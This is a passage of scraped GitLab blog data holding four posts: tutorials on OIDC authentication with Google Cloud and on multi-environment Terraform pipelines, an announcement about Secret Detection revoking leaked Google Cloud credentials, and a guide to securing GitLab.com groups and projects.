Remediation","en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation.yml","en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation",{"_path":2815,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2816,"content":2822,"config":2829,"_id":2831,"_type":16,"title":2832,"_source":17,"_file":2833,"_stem":2834,"_extension":20},"/en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci",{"title":2817,"description":2818,"ogTitle":2817,"ogDescription":2818,"noIndex":6,"ogImage":2819,"ogUrl":2820,"ogSiteName":767,"ogType":768,"canonicalUrls":2820,"schema":2821},"OIDC simplifies GitLab CI/CD authentication with Google Cloud","OpenID Connect can sometimes be complex, but it's the safer and recommended way to authenticate your GitLab pipeline with Google Cloud. This tutorial shows you how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669863/Blog/Hero%20Images/security-pipelines.jpg","https://about.gitlab.com/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How OIDC can simplify authentication of GitLab CI/CD pipelines with Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hiroki Suezawa\"},{\"@type\":\"Person\",\"name\":\"Dhruv Jain\"}],\n        \"datePublished\": \"2023-06-28\",\n      }",{"title":2823,"description":2818,"authors":2824,"heroImage":2819,"date":2826,"body":2827,"category":14,"tags":2828},"How OIDC can simplify authentication of GitLab CI/CD pipelines with Google Cloud",[835,2825],"Dhruv Jain","2023-06-28","\n\nIn recent years, the [integration of cloud services and GitLab through GitOps](https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab/) has become very common. Applications are now continuously tested and deployed through [continuous integration and delivery (CI/CD)](https://about.gitlab.com/topics/ci-cd/); cloud environments are managed in code through Infrastructure as Code (IaC) using tools like Terraform; and GitLab CI is used as a core tool to perform these GitOps processes.\n\nAt the same time, [software supply chain attacks](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) have increased. To reduce the risk of an attack, the use of OpenID Connect ([OIDC](https://docs.gitlab.com/ee/integration/openid_connect_provider.html#introduction-to-openid-connect)) auth is recommended, and GitLab 15.7 introduced [ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html), a mechanism for secure OIDC integration.\n\nHowever, OIDC integration can be complex for beginners and can be difficult to configure properly. Therefore, GitLab's Infrastructure Security Team has created a Terraform module for configuring Google Cloud and a CI template for GitLab CI so GitLab CI and Google Cloud can be securely integrated.\n\nThis tutorial explains how to use [these OIDC modules](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules).\n\n## Why OIDC?\nThe integration between Google Cloud and GitLab CI has often been done by adding a static key of the service account in Google Cloud to the environment variables of CI. However, this method has the following problems:\n\n- The risk of compromise is high because the same key can be used to manipulate the cloud environment over time.\n- Because static keys are portable, there is no link between the key and the environment in which it is used, making it difficult to identify where the key is being used.\n\nOIDC authentication can solve the above problems by providing the following benefits:\n- No need to issue static keys, eliminating the need for long-term key management.\n  - It also eliminates the compliance need of rotating the secrets every few months.\n- Low risk of leakage due to temporary tokens issued.\n- Because the CI used is tied to the Google Cloud environment, it is possible to properly manage where the service account is used.\nIn addition, other settings such as CI and CD isolation can be configured using [the claims provided by GitLab CI](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html).\n\n## OIDC authentication with Google Cloud\nThe OIDC integration between Google Cloud and GitLab CI works as follows:\n\n- Preparation (areas to configure in Terraform in OIDC models)\n  1. Create a service account in Google Cloud for CI integration and set up the appropriate roles.\n  1. Create a Google Cloud Workload Identity pool and provider, and configure integration with GitLab CI.\n  1. Assign the Workload Identity User role to the service account.\n\n\n\n\n![Simplified diagram](https://about.gitlab.com/images/blogimages/2023-06-30-introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci/oidc-auth-diagram.png){: .shadow}\n\nGitLab CI in action (simplified by the GitLab CI template in OIDC modules)\n{: .note .text-center}\n\nGoogle Cloud authenticates using an ID token issued on GitLab CI, so there is no need to issue a Google Cloud service account key.\n\n## How to use a Terraform module\nThe process of configuring a Terraform module to establish a connection between Google Cloud and GitLab using OIDC is fairly simple. This module takes care of the following steps:\n1. Create the Google Cloud Workload Identity Pool.\n1. Create a Workload Identity Provider.\n1. Grant permissions for service account impersonation.\n\nNote: Your account must have at least the Workload Identity Pool Admin permission on the Google Cloud project.\n\n```terraform\n# terraform\nmodule \"gl_oidc\" {\n source = \"gitlab.com/gitlab-com/gcp-oidc/google\"\n version = \"3.0.0\"\n google_project_id = GOOGLE_PROJECT_ID\n gitlab_project_id = GITLAB_PROJECT_ID\n oidc_service_account = {\n   \"sa\" = {\n     sa_email  = \"SERVICE_ACCOUNT_EMAIL\"\n     attribute = \"attribute.project_id/GITLAB_PROJECT_ID\"\n   }\n }\n}\n```\n\nThe above sample module can be used to configure OIDC. There are some additional parameters that can be used to configure this module further (a detailed list and description of those parameters can be found [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/#configure-gitlab-for-oidc-integration-using-terraform-module)).\n \nBy default, all branches of the project are authenticated to Google Cloud, but you can specify more granular conditions, such as the branch name of the commit that triggered the CI, or authenticating only with a specific tag.\n\nFurther settings can be made by changing the following attribute settings in accordance with the ID token claim:\n\n```\n  oidc_service_account = {\n    \"sa\" = {\n      sa_email  = \"SERVICE_ACCOUNT_EMAIL\"\n      attribute = \"attribute.project_id/GITLAB_PROJECT_ID\"\n    }\n```\n\nCode files for this module are available [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/terraform-modules/gcp-oidc).\n\n## How to use the CI template\n[The CI template](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/blob/main/templates/gcp_auth.yaml) makes GitLab CI very easy for Google Cloud OIDC authentication. This CI template supports [Application Default Credentials](https://cloud.google.com/docs/authentication/application-default-credentials) and can be used from IaC such as Terraform, CLI such as gcloud, and SDKs in Python and Go.\n\nFor example, if you want to use the CI template for Terraform, you can write:\n\n```\n# You should upgrade to the latest version. You can find the latest version at https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/releases\ninclude:\n  - remote: 'https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/raw/3.0.0/templates/gcp_auth.yaml'\n\nterraform:\n  image:\n    name: hashicorp/terraform:1.5.3\n    entrypoint:\n      - /usr/bin/env\n      - \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\n  extends: .google-oidc:auth\n  variables:\n    WI_POOL_PROVIDER: //iam.googleapis.com/projects/GOOGLE_PROJECT_ID/locations/global/workloadIdentityPools/WORKLOAD_IDENTITY_POOL/providers/WORKLOAD_IDENTITY_POOL_PROVIDER\n    SERVICE_ACCOUNT: SERVICE_ACCOUNT_EMAIL\n  script:\n    - terraform init\n    - terraform plan\n```\n\n### Required variables\n- WI_POOL_PROVIDER(under .google-oidc:) - Full canonical resource name of the workload identity pool provider. This value must be written under .google-oidc: like this.\n- SERVICE_ACCOUNT - Service Account email address\n\nA detailed list and description of those parameters can be found [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/blob/main/README.md#using-oidc-in-pipelines).\n\nAs a note, you cannot use `before_script` in the job that uses this template because the way GitLab CI works will result in OIDC code being overwritten. CI template uses `before_script` to perform the initial configuration of OIDC.\n\nCode samples for this module are available [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/samples/ci/gcp).\n\n## Next steps\nThis article has introduced OIDC modules for OIDC integration and secure authentication between Google Cloud and GitLab CI. In short, we are doing the following steps:\n\n1. Setting up a service account\n1. Granting permissions to the service account\n1. Running the Terraform module\n1. Setting up CI pipeline\n\nYou can find the relevant sample for the above steps [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/samples).\n\nAlso, GitLab is currently developing a [CI Catalog and CI Components](https://about.gitlab.com/blog/use-inputs-in-includable-files/). We plan to support them.\n\nThe GitLab Infrastructure Security Team will continue to improve the modules as we receive feedback, and we hope to consider and release components that maintain a high level of security and usability for both internal and external use. \n\n## Read more\n- [Configure OIDC with GCP Workload Identity Federation](https://docs.gitlab.com/ee/ci/cloud_services/google_cloud/)\n- [Workload Identity Federation on Google Cloud](https://cloud.google.com/iam/docs/workload-identity-federation)\n- [Terraform for google_iam_workload_identity_pool_provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/iam_workload_identity_pool_provider)\n- [OIDC Authentication using ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html)\n",[696,110,14,2286],{"slug":2830,"featured":6,"template":677},"introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci","content:en-us:blog:introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci.yml","Introduction Of Oidc Modules For Integration Between Google Cloud And Gitlab Ci","en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci.yml","en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci",{"_path":2836,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2837,"content":2843,"config":2850,"_id":2852,"_type":16,"title":2853,"_source":17,"_file":2854,"_stem":2855,"_extension":20},"/en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci",{"title":2838,"description":2839,"ogTitle":2838,"ogDescription":2839,"noIndex":6,"ogImage":2840,"ogUrl":2841,"ogSiteName":767,"ogType":768,"canonicalUrls":2841,"schema":2842},"Managing multiple environments with Terraform and GitLab CI","This tutorial shows how to set up and manage three different environments in one project using GitLab CI and Terraform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663779/Blog/Hero%20Images/cicd-2018_blogimage.jpg","https://about.gitlab.com/blog/managing-multiple-environments-with-terraform-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Managing multiple environments with Terraform and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sophia Manicor\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2023-06-14\",\n      }",{"title":2838,"description":2839,"authors":2844,"heroImage":2840,"date":2846,"body":2847,"category":14,"tags":2848},[2845,1053],"Sophia Manicor","2023-06-14","\n\nUsing multiple environments ensures that your infrastructure as code (IaC) is rigorously tested before it is deployed. This tutorial will show a setup of how to manage **three different environments in one project** using GitLab CI and Terraform.\n\n## Prerequisites\n- Working knowledge of [GitLab CI/CD](https://docs.gitlab.com/ee/ci/introduction/index.html#continuous-integration)\n- An AWS / GCP account (where you will deploy to)\n- Working knowledge of Terraform\n- 5 minutes\n\n## Multiple environments\nIn this tutorial, we have three environments set up: dev, staging, and production.\n- Dev: This should be where all the experimental changes go. This environment is intended to develop new features and/or test out new changes.\n- Staging: After you have confirmed your changes in dev, this environment should have parity with the production environment.\n- Production: This environment has the latest versions of infrastructure and applications are live.\n\n## File structure\nFor each environment we set up a corresponding folder at the root level: folders are named dev, staging, and production respectively. Each folder stores all the Terraform infrastructure configuration for the corresponding environment. Within each of these folders, we created a CI file for that environment. \n\n## .gitlab-ci.yml\n\n### Environment-specific .gitlab-ci.yml\nThe file below is for the dev environment and is in the dev folder. Note that there is a rule with each job that only allows the jobs to run when a file in the dev folder is changed. There is a corresponding file in the staging and production folders that has the same rules to only allow jobs when those specific folders are changed. To keep each CI file running the same jobs we have made use of a helper file. \n\n[Environment-specific GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/dev/.gitlab-ci.yml)\n\n```yaml\ninclude:\n  - 'helper.yml'\n\nvariables:\n  TF_ROOT: ./dev  # The relative path to the root directory of the Terraform project\n  TF_STATE_NAME: default      # The name of the state file used by the GitLab-managed Terraform state backend\n  SECURE_ANALYZERS_PREFIX: \"$CI_TEMPLATE_REGISTRY_HOST/security-products\"\n  SAST_IMAGE_SUFFIX: \"\"\n  SAST_EXCLUDED_PATHS: \"spec, test, tests, tmp\"\n  PLAN: plan.cache\n  PLAN_JSON: plan.json\n\n\ncache:\n  key: \"${TF_ROOT}\"\n  paths:\n    - ${TF_ROOT}/.terraform/\n\nfmt-dev:\n  extends: .fmt\n  rules:\n      - changes:\n          - dev/**/*\n\nvalidate-dev:\n  extends: .validate\n  rules:\n      - changes:\n          - dev/**/*\n\nbuild-dev:\n  extends: .build\n  rules:\n      - changes:\n          - dev/**/*\n\nkics-iac-sast-dev:\n  extends: .kics-iac-sast\n  rules:\n      - changes:\n          - dev/**/*\n\ndeploy-dev:\n  extends: .deploy\n  rules:\n      - changes:\n          - dev/**/*\n\ndestroy-dev:\n  extends: .destroy\n  rules:\n      - changes:\n          - dev/**/*\n\n```\n\n### helper.yml\nThis helper file was created at the root level so that it could be referenced by all of the environment-specific files. The [helper.yml](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/helper.yml) is where all the heavy lifting is happening. This will make sure that all the jobs throughout the environment-specific file's configuration stays up to date and consistent. In the environment-specific files we 'included' the helper file and extended the jobs outlined below.\n\n```yaml\n\n.fmt:\n  stage: validate\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform fmt\n  allow_failure: true\n\n\n.validate:\n  stage: validate\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform validate\n\n\n.build:\n  stage: build\n  before_script:\n    - apk --no-cache add jq\n    - alias convert_report=\"jq -r '([.resource_changes[]?.change.actions?]|flatten)|{\\\"create\\\":(map(select(.==\\\"create\\\"))|length),\\\"update\\\":(map(select(.==\\\"update\\\"))|length),\\\"delete\\\":(map(select(.==\\\"delete\\\"))|length)}'\"\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform plan -out=$PLAN\n    - gitlab-terraform plan-json | convert_report > $PLAN_JSON\n  resource_group: ${TF_STATE_NAME}\n  artifacts:\n    paths:\n      - ${TF_ROOT}/plan.cache\n    reports:\n      terraform: ${TF_ROOT}/$PLAN_JSON\n\n.kics-iac-sast:\n  stage: test\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  image:\n    name: \"$SAST_ANALYZER_IMAGE\"\n  variables:\n    SEARCH_MAX_DEPTH: 4\n    SAST_ANALYZER_IMAGE_TAG: 3\n    SAST_ANALYZER_IMAGE: \"$SECURE_ANALYZERS_PREFIX/kics:$SAST_ANALYZER_IMAGE_TAG$SAST_IMAGE_SUFFIX\"\n  allow_failure: true\n  script:\n    - /analyzer run\n\n\n.deploy:\n  stage: deploy\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform apply\n  resource_group: ${TF_STATE_NAME}\n  when: manual\n  rules:\n      - changes:\n          - ${TF_ENVIRONMENT}/**/*\n\n.destroy:\n  stage: cleanup\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform destroy\n  resource_group: ${TF_STATE_NAME}\n  when: manual\n\n```\n\n### Root-level .gitlab-ci.yml\n[Root-level GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/.gitlab-ci.yml)\n\nThe file that brings everything above together is the root-level CI file. This will be what the pipeline initially references when run. The [root-level GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/.gitlab-ci.yml) is where all of the stages and container images are defined. Note that they are inheriting `.gitlab-ci.yml` from each of the individual folders themselves.\n\n```yaml\ninclude:\n  - 'dev/.gitlab-ci.yml'\n  - 'staging/.gitlab-ci.yml'\n  - 'production/.gitlab-ci.yml'\n  \nimage:\n  name: \"$CI_TEMPLATE_REGISTRY_HOST/gitlab-org/terraform-images/releases/1.1:v0.43.0\"\n\nstages:          \n  - validate\n  - build\n  - test\n  - deploy\n  - cleanup\n\nvariables:\n  # If not using GitLab's HTTP backend, remove this line and specify TF_HTTP_* variables\n  TF_STATE_NAME: default\n  TF_CACHE_KEY: default\n\n```\n\n## Merge request + promotion through environments\nWith the project set up and GitLab CI’s triggering only based off changes to the individual environment folders, you can now safely promote changes using merge requests. When you want to make a change:\n1. First create a merge request in the dev environment with your *.tf files.\n2. Review the [Terraform integration in merge requests](https://docs.gitlab.com/ee/user/infrastructure/iac/mr_integration.html) to see X changes, X to Add, and X to Remove.\n3. If your changes are as expected, request your team members to review the changes and Terraform code.\n4. Apply the changes to your dev environment and merge in the merge request.\n5. If everything worked as intended, then make the same merge up into the staging environment.\n6. If the staging environment remains stable, make a merge request up into the production environment.\n\n\n## Results\nVoila, and there you have it! **A single project to manage three different infrastructure environments** in a safe way to ensure that your changes to production are tested, reviewed, and approved by the rest of your team members.\n\n",[2849,1230,776,14],"DevOps",{"slug":2851,"featured":6,"template":677},"managing-multiple-environments-with-terraform-and-gitlab-ci","content:en-us:blog:managing-multiple-environments-with-terraform-and-gitlab-ci.yml","Managing Multiple Environments With Terraform And Gitlab Ci","en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci.yml","en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci",{"_path":2857,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2858,"content":2863,"config":2868,"_id":2870,"_type":16,"title":2871,"_source":17,"_file":2872,"_stem":2873,"_extension":20},"/en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials",{"title":2859,"description":2860,"ogTitle":2859,"ogDescription":2860,"noIndex":6,"ogImage":2085,"ogUrl":2861,"ogSiteName":767,"ogType":768,"canonicalUrls":2861,"schema":2862},"How Secret Detection can proactively revoke leaked credentials","GitLab extends Secret Detection capabilities to customers on Google Cloud.","https://about.gitlab.com/blog/how-secret-detection-can-proactively-revoke-leaked-credentials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Secret Detection can proactively revoke leaked credentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Connor Gilbert\"}],\n        \"datePublished\": \"2023-06-13\",\n      }",{"title":2859,"description":2860,"authors":2864,"heroImage":2085,"date":2865,"body":2866,"category":14,"tags":2867},[1650],"2023-06-13","\n\nModern applications don’t run on their own: They rely on databases, cloud services, APIs, and other services. To connect to those systems, the applications use credentials like private keys and API tokens. These credentials have to be kept secret – if they’re leaked, adversaries can abuse them to steal data, mine cryptocurrency, or disable important systems. Today, we’re increasing the level of protection we offer GitLab Ultimate users against this serious risk via an expansion of our partnership with Google Cloud.\n\n## How GitLab addresses this risk\n[GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) addresses the risk of leaked secrets by detecting when keys, tokens, and other sensitive values are exposed in code and helping DevSecOps teams respond. It’s imperative to respond quickly when credentials are leaked, especially for keys to cloud provider accounts, since adversaries can do a lot of damage quickly. \n\nWith our expanded partnership, we’ve integrated GitLab Secret Detection with Google Cloud to better protect customers who use GitLab to develop applications on Google Cloud. Now, if an organization leaks a Google Cloud credential to a public project on GitLab.com, GitLab can automatically protect the organization by working with Google Cloud to protect the account. This protection is available in GitLab Ultimate.\n\n## GitLab’s investment in automated response\nGitLab has added support for multiple cloud platforms with [automatic response to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html), including the [automatic revocation of GitLab Personal Access Tokens (PATs)](https://about.gitlab.com/blog/pat-revocation-coming-soon/). We’re working on more integrations now, and are always looking for more cloud service vendors seeking similar protection to join [our partner program](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html#partner-program-for-leaked-credential-notifications).\n\nWe’ve also [recently expanded](https://about.gitlab.com/releases/2023/04/22/gitlab-15-11-released/#automatic-response-to-leaked-secrets-on-any-public-branch) the places automatic responses are triggered. Secret Detection users are now protected from credential leaks as soon as they appear in any public branch on GitLab.com.\n\n## Why we’re investing here\nSecurity is better when it’s integrated throughout the software development lifecycle. GitLab’s [2023 Security Without Sacrifices report](https://about.gitlab.com/press/releases/2023-04-20-gitlab-seventh-devsecops-report-security-without-sacrifices.html) found that security is one of the top benefits of a DevSecOps platform. GitLab’s DevSecOps platform enhances secure software development by helping developers and security professionals collaborate to prevent business-critical vulnerabilities. Now, in collaboration with Google Cloud, we’re adding an additional layer of protection for our mutual customers.\n\n## Better protection for GitLab/Google Cloud customers\nGoogle Cloud users on GitLab.com are now better protected. The new integration protects projects that:\n\n* are public. Private projects are unaffected by this change.\n* are hosted on GitLab.com. Projects on GitLab Dedicated or self-managed instances are unaffected.\n* use Secret Detection. If you haven't enabled Secret Detection for a project, we currently won't search it for secrets to revoke.\n\nSecret Detection searches for three types of secrets issued by Google Cloud:\n\n1. [Service account keys](https://cloud.google.com/iam/docs/best-practices-for-managing-service-account-keys)\n2. [API keys](https://cloud.google.com/docs/authentication/api-keys)\n3. [OAuth client secrets](https://support.google.com/cloud/answer/6158849#rotate-client-secret)\n\nPublicly leaked secrets are sent to Google Cloud after they’re discovered. Google Cloud verifies the leaks, then works to protect customer accounts against abuse.\n\n## How the Google Cloud integration works\nOur Google Cloud integration is on by default for projects that use GitLab Secret Detection on GitLab.com. Secret Detection scanning is available in all GitLab tiers, but an automatic response to leaked secrets is currently [only available in Ultimate projects](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html#feature-availability).\n\n* To protect a project, [enable GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#enable-secret-detection).\n* To protect your entire organization, consider [enforcing scan execution](https://docs.gitlab.com/ee/user/application_security/index.html#enforce-scan-execution) to run Secret Detection in all of your projects.\n\n## What’s next\n\nWe’re excited to improve Secret Detection with this integration, but we aren’t stopping here. Check our [strategy and plans](https://about.gitlab.com/direction/secure/static-analysis/secret-detection/#strategy-and-themes) to learn more about where we’re headed.\n\n_GitLab can help secure your applications, whether they run on Google Cloud or elsewhere. Learn more about our [security and governance solutions](https://about.gitlab.com/solutions/security-compliance/)._\n",[14,2286,282],{"slug":2869,"featured":6,"template":677},"how-secret-detection-can-proactively-revoke-leaked-credentials","content:en-us:blog:how-secret-detection-can-proactively-revoke-leaked-credentials.yml","How Secret Detection Can Proactively Revoke Leaked Credentials","en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials.yml","en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials",{"_path":2875,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2876,"content":2881,"config":2887,"_id":2889,"_type":16,"title":2890,"_source":17,"_file":2891,"_stem":2892,"_extension":20},"/en-us/blog/securing-your-code-on-gitlab",{"title":2877,"description":2878,"ogTitle":2877,"ogDescription":2878,"noIndex":6,"ogImage":2819,"ogUrl":2879,"ogSiteName":767,"ogType":768,"canonicalUrls":2879,"schema":2880},"The ultimate guide to securing your code on GitLab.com","This in-depth tutorial, complete with best practices, will help you secure your development environment.","https://about.gitlab.com/blog/securing-your-code-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to securing your code on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Grossman\"}],\n        \"datePublished\": \"2023-05-31\",\n      }",{"title":2877,"description":2878,"authors":2882,"heroImage":2819,"date":2884,"body":2885,"category":14,"tags":2886},[2883],"Steve Grossman","2023-05-31","\n\nA critical aspect of a DevSecOps methodology is to apply best practices to secure your development environment. Your software should be protected from malicious and accidental exposure or modification. This blog explains how to control and manage access to GitLab.com and, in turn, source code, build pipelines, dependency and package repositories, and deployment keys involved in the [software supply chain](/blog/the-ultimate-guide-to-software-supply-chain-security/). The best practices specifically address the capabilities for end users on multi-tenant GitLab.com and are written for the Ultimate license tier. Not all of these capabilities are available at the Premium tier.\n\n## 1. Group settings\nMany security-related settings can be set on the top-level group and will cascade down into all subgroups and projects. They are the easiest and most important in securing your GitLab.com instance.\n\n### General settings\nIn the top-level group, the following settings should be applied to provide the best security for the code within that group:\n\n#### Make the group visibility level private\nThis is likely the most important setting among general settings. By marking the group “private\", anyone who is not explicitly a member of the group will not be able to access it. Additionally, by making the top-level group private, all subgroups and projects will also be private and cannot be exposed.  \n\n#### Permissions and group features\nUnder permissions:\n - Set “Prevent members from sending invitations to outside groups”. This will prevent accidentally adding people who should not belong to the group.\n - Set “Prevent sharing a project with other groups”. This prevents accidental or malicious exfiltration of code by sharing or moving a project to another group outside the control of the top-level group owner.\n - Allow project and group access token creation. Project and group access tokens are much like [personal access tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with the following improvements:\n    - They are visible to and manageable by group owners and maintainers, which means they can be revoked and have expiration dates set by an administrator to limit the opportunity for abuse.\n    - They create a virtual “bot” user that does not count against your license count.\n - Enable [delayed project deletion](/blog/delayed-deletion/). This will give you a seven-day grace period to catch and prevent accidental or malicious removal of a repo. GitLab.com, like self-managed GitLab, does not have the ability to restore an individual project without significant expense for professional services.\n - Allowlist the Classless Inter-Domain Routing (CIDR) or supernetting from which users should be accessing the code.\n - Restrict membership to only those email domains belonging to your organization and contractors.\n - Restrict creation of subgroups to Owners. This will help keep the structure of the top-level group within your policies and make [SAML Group Sync](https://docs.gitlab.com/ee/user/group/saml_sso/group_sync.html) for membership easier to manage.\n - Block forking projects outside of this group hierarchy. This will help prevent code exfiltration.\n - Require [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html). This disables the ability to use password authentication with Git over HTTPS.\n - Disallow adding new members to projects within this group. All members must be inherited from the group.  \n\n#### Merge request approvals\n[Merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) help prevent injection of malicious code into the repository by having people other than the author review them. Enable merge request approvals for all projects in your group to:  \n - Prevent approval by authors.\n - Prevent approvals by users who add commits.\n - Prevent editing approval rules in projects and on individual merge requests.  \n\n### SAML SSO\nTo more tightly control who can access your code in GitLab.com, set up [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/). This will ensure that everyone who accesses it is approved by someone in authority.\n\n#### To configure SAML SSO:  \n - Enable SAML authentication for this group.\n - Enforce SSO-only authentication for web activity for this group.\n - Enforce SSO-only authentication for Git and Dependency Proxy activity for this group.\n - Set the Default membership role to Minimal Access. Roles can be increased as needed in subgroups or individual projects, minimal access prevents any visibility to projects or subgroups where the user is not explicitly granted another role.\n - Tightly control access to the Maintainer and Owner roles; every developer does not need to have a Maintainer role.\n\n## 2. Group auditing and compliance\nRegularly and periodically review the [compliance reports](https://docs.gitlab.com/ee/user/compliance/compliance_report/) to verify who is approving merge requests and what MRs are getting approved.\n\nSet up streaming group audit events to your corporate security information and event management (SIEM) system and monitor them for unusual activity. This needs to be repeated for each group and project in the hierarchy to get the maximum number of audit events.\n\n## 3. Group-level push rules\n Setting restrictive push rules at the group level will help ensure malicious code is not injected into the repository:\n - Require committers be verified.\n - Reject unsigned commits.\n - Ensure the commit author is a GitLab user.\n - Prevent pushing secret files.\n - Require commit author’s email to be from your email domain.  \n\n## CI/CD  \nThe following settings can help insure the integrity of [CI/CD](/topics/ci-cd/) pipelines and reduce the opportunities for abuse and malice:\n - Register runners at the lowest practical level to reduce the blast radius of any malicious use.\n - Require tags to use all runners to reduce the opportunity for abuse.\n - Define CI/CD variables – especially if they contain secrets – at the lowest practical level to reduce the blast radius of any malicious use.\n - Use protected runners with protected variables and protected branches to significantly limit who can deploy into production environments or misuse cloud resources.\n - Access to change the .gitlab-ci.yml pipeline definition file should be tightly controlled in all repos through the CODEOWNERS file to prevent malicious use of the CI/CD system.\n\n## 4. Project settings  \nSome settings do not cascade down from the group or are not available at the group level and must be set on individual projects instead. These include some repo-specific settings.\n\n### Repository\nSet up protected branches and protected tags to go along with the protected runners and protected variables defined above.\n\n### CI/CD  \n#### General \n - Disable public pipelines.\n - Use separate caches for protected branches.  \n\n### Protected environments\nUse protected environments and tightly limit who can deploy and require approvals for deploying.\n\n#### Token access\nRestrict access to this project’s CI_JOB_TOKEN to only individual projects to ensure malicious projects to not retrieve the token and use it to access the API.\n\n#### Secure files\nStore keystores, provisioning profiles and signing certificates in the Secure Files storage rather than the repository.  \n\n## 5. Project-level security testing and compliance\n### Configuration\n#### Security testing\n - Enable static application security testing [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) to help prevent insertion of malicious code into the application.\n - Enable dependency scanning and regularly review the dependency list or software, or software bill of materials ([SBOM](/blog/the-ultimate-guide-to-sboms/)], generated by dependency scanning for vulnerabilities and malicious components.\n - Enable [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) and cluster image scanning.  \n\n#### Policies\nAs an alternative to the security testing section above, you may choose to enable scan execution policies.\nEnable [test scan result policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) to prevent merging code with critical vulnerabilities.\n\n\nFollowing these best practices will help ensure that your code hosted on GitLab.com is safe from tampering and \n[public exposure](https://www.engadget.com/okta-stolen-source-code-205601214.html) and that your \nsoftware supply chain is secure and only authorized users \nare accessing your software assets.\n\n## More resources\n- [Group level settings documentation](https://docs.gitlab.com/ee/user/group/)\n- [Project level settings documentation](https://docs.gitlab.com/ee/user/project/settings/)\n",[696,479],{"slug":2888,"featured":6,"template":677},"securing-your-code-on-gitlab","content:en-us:blog:securing-your-code-on-gitlab.yml","Securing Your Code On 